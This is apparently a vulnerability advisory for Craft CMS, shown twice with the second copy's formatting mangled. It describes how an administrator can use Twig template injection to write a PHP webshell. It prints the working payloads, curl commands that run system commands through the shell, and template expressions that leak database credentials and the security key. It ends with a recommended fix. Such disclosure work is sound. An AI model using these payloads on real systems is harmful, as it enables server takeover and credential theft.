Summary
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
Proof of Concept
Attack Prerequisites
- Authenticated administrator account with
allowAdminChanges enabled, or access to the System Messages utility
Steps to Reproduce
- Navigate to Utilities → System Messages (
/admin/utilities/system-messages)
- Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
- To exploit it by writing to a file system:
- Note: Replace the filesystem handle (e.g.,
hardDisk) with a valid handle configured in the target installation.
{{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
- To exploit it by writing to a volume:
- Note: Replace the volume handle (e.g.,
images) with a valid handle configured in the target installation.
{{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
- Save & go to Settings → Email (
/admin/settings/email)
- Click "Test" at the bottom of the page to trigger template rendering
- The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:
Note: The path might be different on your end depending on the filesystem or volume configuration.
# For Filesystem
curl "http://target.com/uploads/shell.php?c=id"
# For Volume
curl "http://target.com/uploads/images/shell.php?c=id"
# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Additional Impact
The same craft.app exposure without any security measures enables additional attack vectors:
Database Credential Disclosure
Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.
{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}
Security Key Disclosure
Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.
{{ craft.app.config.general.securityKey }}
Recommended Fix
- Add Twig sandbox rules to block
write, writeFileFromStream, deleteFile, and similar destructive methods
- Consider allowlist approach for
craft.app properties accessible in templates rather than exposing the entire application
Resources
craftcms/cms@9dc2a4a
craftcms/cms#18219
craftcms/cms#18216
References
Summary
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the
craft.app.fs.write()method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.Proof of Concept
Attack Prerequisites
allowAdminChangesenabled, or access to the System Messages utilitySteps to Reproduce
/admin/utilities/system-messages)hardDisk) with a valid handle configured in the target installation.{{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}images) with a valid handle configured in the target installation.{{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}/admin/settings/email)Note: The path might be different on your end depending on the filesystem or volume configuration.
Additional Impact
The same
craft.appexposure without any security measures enables additional attack vectors:Database Credential Disclosure
Database credentials are stored in
.envoutside the webroot and are not accessible to admins through the UI. This bypasses that protection.{{ craft.app.db.username }} {{ craft.app.db.password }} {{ craft.app.db.dsn }}Security Key Disclosure
Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However,
craft.app.config.general.securityKeybypasses this protection.{{ craft.app.config.general.securityKey }}Recommended Fix
write,writeFileFromStream,deleteFile, and similar destructive methodscraft.appproperties accessible in templates rather than exposing the entire applicationResources
craftcms/cms@9dc2a4a
craftcms/cms#18219
craftcms/cms#18216
References